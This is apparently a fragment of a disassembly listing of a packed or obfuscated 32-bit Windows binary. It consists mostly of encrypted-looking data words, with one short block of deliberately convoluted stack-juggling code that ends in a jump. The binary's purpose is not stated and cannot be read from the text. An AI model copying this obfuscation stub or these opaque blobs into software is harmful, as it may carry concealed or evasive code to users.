		dd 6F8D14F6h, 2E6D4129h, 4FCDA096h, 0D3795594h,	68D7B36Fh
		dd 0BA509E42h, 18943331h, 0EFD73ECh, 7FF350BBh,	56D335h
		dd 7BE40000h, 73FDF365h, 188A619Eh, 725A1DBh, 23017FDBh
		dd 9E1F6B30h, 0FE835475h, 15759E1Fh, 1C2B1725h,	1FE6ABBCh
		dd 0D0D759Eh, 0FD87541Fh, 13E95526h, 88EA51A8h,	19BDD669h
		dd 43000000h, 9FDDD08Dh, 0E817B25Eh, 2A0CEF1h, 78CE0000h
		dd 0B48274F5h, 2D94A3BDh, 0A19F637Bh, 5D0B9043h, 0EB1C759Dh
		dd 0D210F00Eh, 668255E7h, 0A21EC268h, 922C3795h, 8F4F8DE8h
		dd 569255B3h, 0AA3DCF78h, 6F8DE922h, 1E705B1Dh,	0E4E205C8h
		dd 0AB052E08h, 96497D9Fh, 0E21ADDAAh, 7DFD46E4h, 0B9BFEB01h
		dd 0D511D252h, 60EF53F9h, 9E696585h, 0AAC3225Bh, 9EF885AEh
		dd 231F697Dh, 0FE41EB47h, 8A04667Dh, 3FBB3C2Eh,	0D812A547h
		dd 718B4CFEh, 8B7EF615h, 48B3B599h, 0E9E51BDCh,	27CF843h
		dd 9F5430E8h, 1BC76561h, 96F009ECh, 423CBFB8h, 0B346B5h
		dd 0C6697D9Fh, 9A5D2AA4h, 83C06A64h, 1BE07351h
		dd 38759D5Dh, 0DBDFD2AAh, 0EEA1A3Bh, 0CB37A901h, 5935B6C9h
		dd 482E47Fh, 0E0D3AE6h,	0FAD4B2CBh, 79860079h, 8141443Fh
		dd 79C26866h, 3F618B03h, 35B7D239h, 0DD03FD59h,	0F3309BEEh
		dd 4DF3B601h, 84000004h, 0B05A34B4h, 6D02F4Fh, 785696B3h
		dd 6A37201Eh, 0BD759D5Ch, 0CC40903Bh, 81798335h, 0C6C8776h
		dd 0DC5A2730h, 2540759Dh, 0BD5F83A9h, 0A8A3E15Dh, 3A3D774Fh
		dd 4E48A3C2h, 87E77892h, 0DBB3340Fh, 1EED4331h,	9B6EC064h
		dd 41926E8Eh, 759DDBBCh, 2C8B67DBh, 51FBD329h, 9DDD4E9Eh
		dd 0E5E11A75h, 1C7AFC47h, 55A4BAEEh, 0CE3DBB53h, 0F6413DB3h
		dd 0E2AFB896h, 0C8759DDBh, 552BD1ADh, 9DDBFD82h, 4A261A75h
		dd 0FA23E584h, 63EC91F5h, 0ED0F6680h, 87E07B91h, 5A90530Fh
		dd 0B612CE7Ch, 0CE2D2694h, 7E6A7EF0h, 0BD51C46Bh, 3577C792h
		dd 0B0A6759Eh, 42BE3849h, 0C56E6881h, 759E3438h, 0B807E35Fh
		dd 9E2794ADh, 3C12BF75h, 5828A501h, 0FE43AFFCh,	0E1E4B601h
		dd 0E8FFFFFEh, 98B20C6Fh, 0B42097A0h, 74EF5836h, 44C91AF6h
		dd 53759D5Dh, 561933EFh, 759D5E06h, 0D3F97D2h, 0B456304Ah
		dd 0E7A168CEh, 0F1AE147h, 7B7AF2F1h, 4D298501h,	0EA4C8282h
		dd 0E61EF7CDh, 5D9D58E7h, 0CB290761h, 9D7F9318h, 8B58A075h
		dd 759D8006h, 53F9D514h, 62ED6DEFh, 1E2105AEh, 0EB618512h
		dd 6D62C920h, 67C58676h, 0D2000000h, 0A19F637Bh, 8D151CB6h
		dd 553014Fh, 0E922D6BFh, 91CF7DD9h, 75A2665Bh, 30CA179h
		dd 8D47AC70h, 85748C6Fh, 12F4C72Ch, 1579CFBCh, 0FC71A20Bh
		dd 292E1720h, 2E000000h, 9DFBD315h, 8D2DC54Ah, 0E16ED26Fh
		dd 5327A4FAh, 8B72759Dh, 0FFFFFD80h, 10CEACh, 78CE0000h
		dd 4A307AA3h, 0AB123D5Ah, 2A3CEh, 9B51D700h, 0A1FAEFF1h
		dd 8C11C2B9h, 0AB759E58h, 9975FB57h, 3C78065Dh,	0E705E06Fh
		dd 0FFBBB1EFh, 25500C4Dh, 5604C877h, 0D37C5A9Dh, 619BDA10h
		dd 30ECEA02h, 0FD4A261Ah, 0EFC931B5h, 8ABB3044h, 725154Fh
		dd 92BB1BACh, 4CBFB56Fh, 0D8C8EF5h, 2F4D86BCh, 0BA45B557h
		dd 484Dh, 74F07300h, 0FF08F01Ah, 9F637B98h, 0F26543A1h
		dd 759D5D2Dh, 0BE49F64Ah, 4F8A743Eh, 7F5DCF33h,	0E70581E4h
		dd 0F0790C3Bh, 9A6F9233h, 390F7742h, 0AFFB9AECh, 6A956D5h
		dd 0BC0ECF9Dh, 0A20Eh, 0B3350E00h, 3EC931DBh, 5836B447h
		dd 0F5D129B2h, 201C589Bh, 9D5C6A37h, 0D5B18975h, 0EF08CB37h
		dd 13A46897h, 2BF063DDh, 48759D5Dh, 88F614F0h, 0A956304Fh
		dd 69D6B0CEh, 9D59589Eh, 0B8165475h, 5803DBCFh,	568AA01Eh
		dd 454B9CFAh, 504F8F88h, 97508EE8h, 2ACD7A54h, 0E80BF4D2h
		dd 0AD3C3690h, 0DCDE4EEDh, 4C6EF2Eh, 1D520000h,	0D813D6A1h
		dd 97D611FEh, 5195503Fh, 0F6F8A75h, 2AC7C8B7h, 3780FE7Eh
		dd 74C3BB3Ch, 0B01F77F1h, 0F05F37B5h, 45CA1D7Bh, 527BADB0h
		dd 34B4385Fh, 0F40AED5Ah, 0B4362D9Ah, 7E5836h, 9D5D4AD7h
		dd 66916975h, 0F873F4AAh, 78F6719Eh, 0C427201Eh, 914D49ADh
		dd 2BB3F766h, 67EE9C7h,	274F8A7Dh, 91ED0EC9h, 923BBD42h
		dd 0E066DA6Fh, 0ADED46D0h, 0DAF58D2h, 33D7A48Fh, 1CFC6F92h
		dd 96218AA0h, 906F9235h, 7DF3198h, 0CFAB2344h, 540E4691h
		dd 0FF3497Fh, 98D716D1h, 6785615Dh, 959D8CBBh, 518FE951h
		dd 0CB745296h, 76CAFE38h, 8665F343h, 1D9556Bh, 5C21326Ch
		dd 7B637668h, 0ACD2B87h, 0D92C9BF3h, 63766856h,	42BC1A5Ch
		dd 0E26D6981h, 638A73h,	0BCB20000h, 0B816FC09h,	5940CF9Dh
		dd 9D5E13A4h, 17DD0E75h, 3B013339h, 0A7FA001Ah,	2F4EA998h
		dd 0CC7B557h, 916493EBh, 759E200Ch, 4DFFD712h, 0FA106E8Ah
		dd 0BD675280h, 1B26954Bh, 0DA1DEAE4h, 0A30426A0h, 759E211Bh
		dd 61A5140Ah, 4FD25CEBh, 5B9FBC81h, 0B511C963h,	5B8DEF8Ah
		dd 0C65CAD8Fh, 3A8561AEh, 559651C3h, 0E06FD379h, 41EBE305h
		dd 0C03A3D1Bh, 6FF424C6h, 759D5CA2h, 958749B1h,	81F62610h
		dd 0A5C7A2ADh, 2E3C304Eh, 49603328h, 0C197B511h, 8599D97Ah
		dd 0E05C3865h, 0E4D72D4Ah, 0DCAB2345h, 9E3A0209h, 0D6114F75h
		dd 2D0D3F97h, 2E238F22h, 0DD13B602h, 0CBFBF8F4h, 239BDD60h
		dd 454FB847h, 68FFFFFFh, 0BE3F36B4h, 7DF62AC0h,	0B06882FCh
		dd 4FAD36D4h, 3CA28877h, 3B4F98F6h, 2E4F8A58h, 0B35935B5h
		dd 15F1CD28h, 0F6615FB9h, 6F925729h, 0F771F24Eh, 828D6D9Fh
		dd 57D465CEh, 9EFE6F92h, 0A0AF2745h, 3398F1D8h,	0F4BC0DF0h
		dd 2Ah,	9F637B81h, 7436B6A1h, 89E74F8Ah, 9232D15Eh, 0ED1AE66Fh
		dd 8A5DCF33h, 6F923441h, 0D326956Bh, 0BC0E1768h, 0F23Bh
		dd 36B4DC00h, 0D129B258h, 1D589BF5h, 0FF8AECCBh, 0D4B0C8B9h
		dd 933DCA36h, 2FBEB2C8h, 0D9842CFFh, 3285A703h,	0E275C2BCh
		dd 759D9464h, 0DBA42258h, 46E4E218h, 279FDF18h,	0E64C9218h
		dd 0A1675F88h, 4D864F8Ah, 26B9532Bh, 0F921CBC3h, 6B30231Dh
		dd 886F927Fh, 65D587B0h, 753A2D0Bh, 826F927Fh, 0A2A291BEh
		dd 0D12B4AA1h, 65F319F5h, 150E0CB1h, 0E710CC8Bh, 0F9D71BC3h
		dd 85195E6Eh, 50A83349h, 27CFD76h, 6F8F48A6h, 2D4DA817h
		dd 387B00D3h, 0A0986985h, 39109D46h, 0DB276985h, 5AF0E57Fh
		dd 9D0FE459h, 20BA0h, 0FED81500h, 3B93D611h, 7452A94Ch
		dd 0B20C688Bh, 0CCCA22C5h, 31E50A03h, 0F772DDB9h, 0B4AF1876h
		dd 8EB5432h, 0C62B94F2h, 0B3008D56h, 9A177BADh,	5A34B463h
		dd 1154EFEDh, 9CAB97B5h, 5C2BA3D9h, 48D51E7Ch, 6F759D5Dh
		dd 7B7D6493h, 0DFDFF563h, 9B66ECFCh, 0B0AA2B55h, 33EF5698h
		dd 0E3DB12D5h, 6BE37454h, 0BA4F8AB6h, 9D7B80B4h, 5790ECCEh
		dd 0C874837Fh, 0C811DA70h, 9E6F928Dh, 71CA605Eh, 0B26E9CFAh
		dd 0B25836B1h, 0AE58A301h, 51A813E9h, 0BC0DBDEAh, 0F0CE292Ah
		dd 0EC59E65Ah, 0A6h, 3F36B489h,	4E48A1C0h, 24807892h, 413DBD06h
		dd 58C200ABh, 80FE759Dh, 25D2B86Ch, 0F2088836h,	2E8A7694h
		dd 4C878572h, 42BEAC2Ah, 0A8BC32B5h, 46B7B3AAh,	0A9433FBEh
		dd 9DF970F3h, 5CA63872h, 32C1F162h, 5CBC4F8Ah, 0C327BFF3h
		dd 41C772E5h, 33A44984h, 0F22EDCBAh, 0BF3F3816h, 7DFD78C7h
		dd 31D4C301h, 913BE45Ah, 0FFB4h, 0EAE41900h, 279FDA1Dh
		dd 605E9D58h, 0BE185C97h, 0F8D616D1h, 25F13E0Fh, 0FB7EC9C5h
		dd 0B8BB0482h, 7CF7403Eh, 323780FEh, 0B40C9142h, 662B7BADh
		dd 5A34B47Fh, 9AF40AEDh, 36B4362Dh, 0D329B258h,	0C0260CFBh
		dd 75CB1C7Ah, 604F8D15h, 0CB0C7298h, 0D91CD7AFh, 599752FDh
		dd 6887DE1Ah, 0A01CFC6Eh, 1269EAC4h, 47239BD3h,	87C3F881h
		dd 67903CE9h, 1E5F98F8h, 0DC6C3122h, 0B78B6F8Ch, 3EC931DBh
		dd 18CB45BBh, 6F8CDC93h, 0F57E58A0h, 6F8CDD28h,	0F517F34Fh
		dd 3A5A3972h, 7B4EE059h, 1B5190EEh, 1878C7A3h, 0C0BE393Ah
		dd 0A06DF62Ah, 0B758C258h, 0C339BC4Bh, 5A9E21CBh, 0FEBE31Bh
		dd 0CD245A1Dh, 0C63AD0AEh, 0FB7FC06Ah, 5949D601h, 926E58C2h
		dd 0B4A21436h, 0F76D4345h, 8F076504h, 7B539651h, 6FDE69D1h
		dd 9700DB11h, 0A10C20CBh, 219DD396h, 0ACA0Bh, 71F20000h
		dd 8D6D9FF7h, 2C931B82h, 0AD5F37B4h, 50FAD42Ah,	0FB116D8Fh
		dd 9D8F0760h, 624A2DAh,	0AB413DBDh, 50FAD410h, 0F416708Fh
		dd 9C8E0863h, 0E3895319h, 1DBABF57h, 0EF815C4Bh, 231219F2h
		dd 0FC3CC781h, 0FB01C6C6h, 4EB835Fh, 5C241C87h,	67968h
		dd 24348900h, 81E28952h, 4C2h, 4EA8300h, 5C241487h, 50240C89h
		dd 0C122D368h, 42055826h, 0C1626E40h, 0BD5504E0h, 94E6780Eh
		dd 895DE831h, 0EC8158C6h, 4, 81242489h,	42404h,	83590000h
		dd 348904ECh, 8418F24h,	50240C8Bh, 405E089h, 5000000h
		dd 4, 5C240487h, 5024348Bh, 405E089h, 83000000h, 48704C0h
		dd 0CAE95C24h, 10FFFBE9h, 0F1DBAE5h, 0A1F543E3h, 0B84CD19Bh
		dd 61058D1h, 0E0FFC503h, 4E8BE2D1h, 7DDA9599h, 5272A8CCh
		dd 2B8D9F82h, 5EEA7B04h, 4F40FA3Fh, 7E1A28BEh, 7D7BD566h
		dd 34CCCA61h, 78E201BDh, 711C7222h, 5112AFF0h, 0F755A53h
		dd 2B19683Ah, 3F712A8Dh, 39C89A5Ah, 33374D4Ah, 392B9F48h
		dd 6016B9A8h, 554B2C1Dh, 5EF11565h, 5CDE3C74h, 5614E9FCh
		dd 1E4974D9h, 10D87E5Ah, 0DD4797Eh, 0BA38F7Ch, 4BE07558h
		dd 559E6120h, 1C977FE6h, 972BA91h, 5AD98D8Dh, 6A0610h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 5C8561C3h, 9C89377Ah, 8F0F9B61h, 6, 19E99501h, 8D89060Bh
		dd 60B174Dh, 11985C7h, 5F60060Bh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0E47B01C3h
		dd 46A905AFh, 0D381669Eh, 85C75411h, 60B1009h, 0
		dd 0FFD38B66h, 0B1A49B5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 38C6DAB8h
		dd 1EB1B589h, 95FF060Bh, 60B0AC5h, 14E8h, 0FD4400h, 89993459h
		dd 317867FEh, 5C7778CDh, 23C96C8Ch, 9D8B60CEh, 60B20F5h
		dd 0B759589h, 5B61060Bh, 6AD8B0h, 32DD95FFh, 0C08B060Bh
		dd 0EFD80DEBh, 5580008Eh, 99D49363h, 8DB05BE9h,	0B09819Dh
		dd 39B806h, 85890000h, 60B0E7Dh, 0E8h, 0D055800h, 89000000h
		dd 39E903h, 0
		dd 0Dh dup(77E6h), 0E9FF77E6h, 0B0h, 0DA8C6660h, 0F04C2F6h
		dd 0C85h, 1853B00h, 0F060B0Bh, 3684h, 15853B00h, 0F060B03h
		dd 2A84h, 4D853B00h, 0F060B19h,	1E84h, 15853B00h, 0F060B29h
		dd 1284h, 29BD8300h, 1060B13h, 5840Fh, 5FE90000h, 8B000000h
		dd 3C5203D0h, 88BA8Bh, 4A8B0000h, 0FC98578h, 4984h, 0F8C28100h
		dd 8B000000h, 0C8030C72h, 8B1C598Bh, 0D8031451h, 0C9850B8Bh
		dd 10840Fh, 0CE3B0000h,	17820Fh, 0CF3B0000h, 0F830Fh, 0C3830000h
		dd 850F4A04h, 0FFFFFFDCh, 0DE9h, 0D79D8D00h, 0B8060B4Dh
		dd 5, 0C361E3FFh, 5E8D00Bh, 34000000h, 952AD556h, 665BD78Bh
		dd 0C377F781h, 700EC381h, 9E90000h, 8A000000h, 3CAF2519h
		dd 0CC67C2B0h, 34FFC933h, 5850F19h, 0BE000000h,	49042970h
		dd 69F78158h, 8149E3EDh, 63341FF0h, 0F4F28051h,	0CAFCE881h
		dd 0B5236238h, 60B2491h, 77DAE881h, 9D8944B7h, 60B0B39h
		dd 0E90B0489h, 12h, 0C46CB9C5h,	0E737E83Ah, 0E34B3C98h
		dd 0FA67209Fh, 8E85AFFh, 0C1000000h, 0AFC6F8Dh,	6629C9C2h
		dd 5F1638BAh, 3104E983h, 0B2949BDh, 0B4F98106h,	0FFFFF90h
		dd 1885h, 27E900h, 0C9900000h, 7FB769EFh, 40E49A0h, 23B6713Bh
		dd 4ED442CDh, 8FCA81C0h, 0E95D8C75h, 0FFFFFF66h, 9DB09DAAh
		dd 4FD2DECEh, 60EB06h, 17h dup(0)
		dd 0E9000000h, 0B1Ch, 0B10E9h, 65086800h, 0F8E90610h, 68FFFB21h
		dd 6106628h, 0FB21EEE9h, 669468FFh, 0E4E90610h,	8DFFFB21h
		dd 74914279h, 22C31021h, 8C79FAD7h, 7B944F76h, 7EC51E21h
		dd 0B18C9477h, 13C45A2h, 0D4E335D2h, 0B8959E0Fh, 129A56BBh
		dd 0C5844076h, 37E60AF9h, 63D45EFh, 937A5EB2h, 0B99F4980h
		dd 76E4D9DEh, 1D0440E4h, 0B78BC394h, 56B7B199h,	6E77C41h
		dd 881AC0FDh, 941D6064h, 7593E7C3h, 0EDD82C9Dh,	566BB019h
		dd 0DEE13BE2h, 0EC35E06Ah, 0C2D637D1h, 57DF69F3h, 0C3941D33h
		dd 0A8A04EB4h, 0F50FB9C1h, 2E0246CAh, 0A9A0F35Ah, 9FE61725h
		dd 0F2D6E137h, 7B465F0Eh, 1164E907h, 0BCCB3A20h, 2BC5398Dh
		dd 0AEB5C727h, 0F09728BCh, 64E8BD83h, 7BBE84C0h, 0D3370B3Ah
		dd 0BA879C09h, 9A54F2D6h, 362D1C6Bh, 0DE0C0F68h, 1BEFDA2Fh
		dd 0CF670927h, 3A7BBEB7h, 3753DB65h, 0B83A7BBEh, 0A5A7A442h
		dd 7BBE4501h, 9CF0CA3Ah, 0A5F32228h, 1BE226AAh,	0A4E320Dh
		dd 292471DCh, 493DB1C3h, 0DE3A7BBEh, 6BA94AE4h,	6F8D5DEh
		dd 33BD65DBh, 941DCFBBh, 0CC7A40C3h, 0F903A9F0h, 718B72C6h
		dd 0A286FA4Eh, 24719C4Eh, 0B419FF29h, 0BBD58338h, 559A26F7h
		dd 0CCD45BBh, 32374005h, 1D780CA0h, 8BCFC094h, 35845Dh
		dd 0E9140000h, 0B7D35B90h, 38C0941Dh, 0DA40EEC2h, 93750A6Fh
		dd 764B50BDh, 0CEA04E82h, 941D22A6h, 0FB5DA5C3h, 0D7DE47BDh
		dd 0F17B04FAh, 2BC5F004h, 54C835h, 6F500000h, 0BD93750Ah
		dd 941D5D29h, 494EBFC3h, 0B34C8074h, 890787A5h,	6D3EE8C3h
		dd 2FE45DCEh, 50BE3506h, 609F09h, 4D23078Ah, 33BD47BDh
		dd 941DCFBBh, 0CC7A40C3h, 0D11B3641h, 0AF3ADC24h, 0AAE1FD2Ch
		dd 0C403428h, 33BD7CE2h, 941DCFBBh, 0CC7A40C3h,	0D6F22E4h
		dd 46BA95E3h, 44D50A94h, 0D2D168E4h, 735762B5h,	0BFB001D5h
		dd 45BDBD9Fh, 87A82897h, 0B8D1B539h, 6C563A61h,	36DE3CD3h
		dd 1468DCE1h, 0C334930h, 52DC6EE2h, 613BAEDAh, 2FD9213Ah
		dd 613B27A7h, 27A6F23Ah, 36173CEDh, 17A152Ch, 6FF30000h
		dd 4DE10B08h, 0C3941D31h, 0A6224A86h, 27C3941Dh, 2D15E2DDh
		dd 6F745C9h, 2924C2FFh,	8272E1DCh, 754850BDh, 0AAA34D81h
		dd 0FFE6C59h, 0B76311F5h, 0F8376941h, 6DDC3084h, 665A2E15h
		dd 65DB52C8h, 93750A6Fh, 0CCD4CB4h, 32374005h, 11D4888Dh
		dd 944DE99Dh, 0FB047EC0h, 0DB75CAFEh, 3E06h, 0A6FEE00h
		dd 29BD9375h, 0C3941D5Dh, 948D00BFh, 0B4EB2507h, 0E345BD9Ah
		dd 33BD47BDh, 941DCFBBh, 188C40C3h, 0C3941D6Ch,	8DBB9FE3h
		dd 0B9F7580h, 386C81DEh, 7B399FF3h, 35C885h, 6F500000h
		dd 78E7750Ah, 91F42FE8h, 0F85E8837h, 1D5D29BDh,	47EC394h
		dd 0BD47BDA2h, 84084150h, 50A7A640h, 0C569FB61h, 0C3941D81h
		dd 2C123C06h, 0B4A50BDh, 6F33D5DDh, 7AE10B08h, 5492D042h
		dd 0D39D4BD9h, 948C3B5Bh, 0FA4EB4C3h, 575E0613h, 0B48B937Ah
		dd 4BA88CC0h, 0F8D5DE4Dh, 6F65DB06h, 0B493750Ah, 88B7CD38h
		dd 0CCDF85Eh, 25374005h, 45h, 6A1EBDC3h, 0B88B22A3h, 116834D2h
		dd 29BDA80Eh, 0C3941D5Dh, 0BD76E8D2h, 899F4750h, 0AAF35ABEh
		dd 41EF2397h, 50BD69AFh, 73DA7445h, 7BB31524h, 2CC885h
		dd 0F9240000h, 0B44848AEh, 69E53274h, 0A34D8175h, 750A6FBDh
		dd 5D29BD93h, 7EC3941Dh, 0D027D604h, 0BDD147E1h, 6FD7DE47h
		dd 57C92D1Ch, 0D1C8857Bh, 50000000h, 0E10B086Fh, 941D314Dh
		dd 0C8BC86C3h, 3A391461h, 0F8D5DEDAh, 0CB2BCD72h, 3A8EB9CFh
		dd 0C67539C6h, 9AEE9A12h, 1961C394h, 0DB150B25h, 750A6F65h
		dd 2A2678E7h, 3A83408Eh, 1074D8E5h, 33E4D3Ch, 0B7AD5BBFh
		dd 0CCD4CB4h, 25374005h, 4Fh, 750A6FC3h, 5D29BD93h, 0D2C3941Dh
		dd 33BD76E8h, 0DE5BBDC2h, 0DAFACE9Ch, 4D817569h, 50BDBDA3h
		dd 43870B4Ah, 6C5DA8A5h, 0CBF60FFEh, 7FE50347h,	0F504F17Bh
		dd 0BD342AC4h, 0DA744550h, 3F65h, 0BC69FB00h, 0F3975F66h
		dd 74C3941Dh, 6F7AE00Eh, 0BD93750Ah, 941D5D29h,	0D6047EC3h
		dd 1DA42044h, 422BC394h, 523073Eh, 0BD47BD1Fh, 84B1C233h
		dd 7014DC30h, 0F7C3941Dh, 9DE86583h, 857BCAACh,	14F8D5DEh
		dd 0FF6453A5h, 44C8050Eh, 941D9EECh, 545153C3h,	0FD6F5AAFh
		dd 1EC80110h, 0B95FA845h, 6427E17Dh, 2B9FF32Ch,	165082DAh
		dd 6B830D97h, 0C394181Fh, 0D8E73F90h, 2E3C1074h, 9418C286h
		dd 0D37D45C3h, 7A89297Ah, 91A0F647h, 0A4F8A6BDh, 0B1C34D9Fh
		dd 9418493Dh, 4AE4DEC3h, 9F243BBAh, 1CCE34BDh, 7A94ABF1h
		dd 0EA2E5E96h, 0B9FB3A60h, 0E835D42Ch, 261C2C35h, 0F8000000h
		dd 3E311EBDh, 0FF85F263h, 94B51377h, 4AAE94C3h,	6964B19Ch
		dd 0B5394DE5h, 0B4CCC394h, 1FC7D039h, 1FC43807h, 0ED5DEF9h
		dd 941DE2E6h, 0E0E408C3h, 67C3941Dh, 7A5EA413h,	4E594496h
		dd 0C24B8F73h, 0D83C80BDh, 0AE0E6E2Eh, 0C4DAED20h, 0A3509FDh
		dd 0B3B93D52h, 94294F3Bh, 86FAC0C3h, 0C6D3D054h, 261CBD83h
		dd 1B613Dh, 0F6C352DAh,	166C4470h, 186D98A2h, 0D43753DBh
		dd 42B83070h, 99A69A6Eh, 3CA7B8FDh, 0D9AD5B6Ah,	307086A9h
		dd 0F801EC7Ch, 53C671C5h, 9D257941h, 0DCD67054h, 0A2123BD1h
		dd 1F3F2625h, 0D9000000h, 0E10B086Fh, 941D294Dh, 0B6A49EC3h
		dd 0DE053447h, 2427h, 0B3C83500h, 0DEE93F8Eh, 86FCA30h
		dd 0DF57E10Bh, 0C3941DABh, 4628C63Ch, 941D4E2Eh, 13D921C3h
		dd 0B9BA97E2h, 154C85Bh, 9A240000h, 941D7612h, 6781F9C3h
		dd 710E6FF1h, 0DE65DB9Fh, 0B406F8D5h, 50CCD4Ch,	63253740h
		dd 0C3000000h, 9F710E6Fh, 1D5D29BDh, 0BFC394h, 0F5935839h
		dd 76129AA3h, 0F9C394D7h, 8483AD81h, 3741ACBEh,	0CCFDFF18h
		dd 6BDD7D7h, 47BD72E8h,	0CFBB33BDh, 4EC3941Dh, 40840845h
		dd 3C0116F7h, 0F6107448h, 27350417h, 1D751195h,	15FAC394h
		dd 347CB06h, 7B1B012Fh,	27C885h, 0F9240000h, 0E82C90AFh
		dd 0E6FD83Eh, 0D559EB71h, 0C3941DB1h, 3C22CC36h, 1D5D29BDh
		dd 47EC394h, 0DE47BDA2h, 7B18FED3h, 0F8D5DE85h,	6F65DB06h
		dd 0B493750Ah, 50CCD4Ch, 4F253740h, 0B7000000h,	81B23B08h
		dd 29C710C0h, 750A6F33h, 5D29BD93h, 0BFC3941Dh,	0E10F464Eh
		dd 246EE62h, 85C3941Dh,	0BDE759BDh, 21D7DE47h, 0F207944Bh
		dd 0E01F73C7h, 0BF935C4Ch, 4F17BD9h, 1A7EC2FFh,	33BD76ECh
		dd 941DCFBBh, 0CC7A40C3h, 3357h, 0A6FF100h, 50BD9375h
		dd 42860A47h, 26A2CAA4h, 5C3941Dh, 47BD2B8Dh, 764B50BDh
		dd 172275D8h, 5733BBC5h, 98C3941Dh, 0EF56E98Eh,	69512EF6h
		dd 857B59BFh, 0BFFD6DEh, 941DAADBh, 9B2A68C3h, 0C12B2272h
		dd 48495C9Ah, 9BB56C26h, 0D6DE38D8h, 52A20BFFh,	0EF29977Bh
		dd 32E55ADEh, 0B98E9206h, 0A2F25BF5h, 342648ABh, 2CC3946Eh
		dd 404E924Eh, 0FE8F8932h, 0A757FFFFh, 0C3941D27h, 941C2FDFh
		dd 1DB4D7C3h, 242C394h,	0E0C3941Dh, 3DEBE635h, 941DD9A9h
		dd 1DA121C3h, 0B910394h, 0E358EA70h, 1AD09DF4h,	0D79F49A3h
		dd 0FD99C1ABh, 0C934261Ch, 300D12BAh, 0FA1468DCh, 0FD861616h
		dd 7932F06Fh, 3E82BFC4h, 18513DDAh, 68FC6E98h, 846D4FBDh
		dd 2D59CD5Fh, 0A2F0734Fh, 6951AE58h, 6AA3D39Eh,	53341E4Ch
		dd 26Dh, 6EF5CCD6h, 985B7681h, 362D1C6Fh, 61F2C1D9h, 92417C84h
		dd 0DB213C23h, 898E7FE4h, 367EAFB4h
		dd 0DE2BC41Fh, 618B70E3h, 8478B9CDh, 0D9BF0EC5h, 72F8D5DEh
		dd 0AADE56E0h, 3DC3941Dh, 1D790DC5h, 61CEC394h,	73573B16h
		dd 119F11Fh, 0E87AE07Bh, 6FD3EE3Dh, 669FD2Bh, 0F7BD83F2h
		dd 0BECE5083h, 8E3A7BBEh, 758755EEh, 0F94D7088h, 209B6B85h
		dd 39446C53h, 99EA1BC1h, 4D56B7ACh, 2CA48C70h, 1C304B5Bh
		dd 8471FB80h, 0CAA4427Fh, 5CB445A2h, 0EA3AEB4Eh, 0FD2B6FD3h
		dd 0C736241Eh, 0B35C87B2h, 55E76B66h, 364A8EE6h, 9A639AF4h
		dd 0F4C8BC89h, 213A425Ah, 3CB0B33Bh, 41B9504Dh,	2F166A9Bh
		dd 41C9675Bh, 22C85329h, 3D81358Ah, 2E3C065Ah, 449FAAFFh
		dd 9F635EABh, 7954A04Dh, 0CF97B195h, 223A27BFh,	8456ED8Fh
		dd 2E087F60h, 2B709D5Ch, 271BF816h, 0F77F8953h,	18098093h
		dd 475F2E14h, 0AECECE78h, 0C8354795h, 0C63A8EB3h, 84B55C28h
		dd 300A6602h, 0BF5FAC37h, 0F057B3AAh, 14Dh, 4E95ACF6h
		dd 0F87B56A1h, 16CDFC0Fh, 4192A1F9h, 0F2615CA4h, 0BBC11C43h
		dd 69AE5F84h, 161E8F54h, 0BECB243Fh, 41AB5083h,	847B592Dh
		dd 0F95F2EC5h, 0E7AD0D6Fh, 61B3DDCFh, 980CDE32h, 0BD835EF7h
		dd 0A09FE748h, 411F8DCh, 961D5C9h, 0F002E873h, 6452087Ch
		dd 8DBB9F3Ah, 6CB64BE3h, 3307446Fh, 6CB3B934h, 857AC88Ch
		dd 0E1h, 0D201384Ah, 0CD7E235h,	0BAB990E3h, 0D50E354Dh
		dd 6DDE038h, 4F55A8BFh,	0FD02E370h, 0A2F213C0h,	4A5F48ABh
		dd 0D517E47Fh, 847B3551h, 55CBBAC5h, 0CFBB33BDh, 40C3941Dh
		dd 0D9AD9CEFh, 576781E5h, 0C12C3E45h, 0FC6E98B7h, 83F27F68h
		dd 68AF0BDh, 9DE24257h,	76974CA0h, 4CAC102Dh, 0ADC12B30h
		dd 446C5316h, 92C91367h, 7D3BCC81h, 81FC2FA4h, 662607B0h
		dd 8103E402h, 5D8BFF77h, 261C304Bh, 8C704F57h, 58AF9E48h
		dd 0E1D8A69h, 0BFC72033h, 24D15380h, 2A2770D0h,	0BA0E62A6h
		dd 91A0F746h, 0CE3FE92Dh, 0BF688BCAh, 6C995A65h, 0D5C02A17h
		dd 0C80CF0CFh, 5CA8451Eh, 15F261h, 73A22E35h, 61A52920h
		dd 0C3146C7h, 6EF587D7h, 0B0D368FCh, 56AC4E5Ch,	0D3EE3BE2h
		dd 3F100h, 841B0000h, 0FDD4DE9Ch, 7A57A009h, 0E6D12796h
		dd 6F52AB12h, 0D7EE329Bh, 5F66BA63h, 0C5FC02EBh, 40798871h
		dd 0CFFA0DFCh, 3768CF7Bh, 89000061h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	73EFh
		mov	[esp], ebx
		push	eax
		push	edx
		mov	edx, 510B2F31h
		or	edx, 766645B7h
		shl	edx, 6
		sub	edx, 0C15FB7AAh
		mov	eax, edx
		pop	edx
		add	eax, 78296C42h
		add	eax, 736ABAFBh
		mov	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		add	dword ptr [esp], 194240FAh
		pop	dword ptr [ebx+8]
		sub	dword ptr [ebx+8], 194240FAh
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		dw 6326h
		dd 0B4DE589Ah, 0BBBA1337h, 679AB84Ch, 0C5030610h, 0FE8C38Bh
		dd 48000000h, 0E37C9C8h, 502D576Ah, 0E46CD956h,	0B96687CEh
		dd 0E95B6738h, 6, 0D1B08134h, 0C381DAFBh, 6A1Ch, 0CE9h
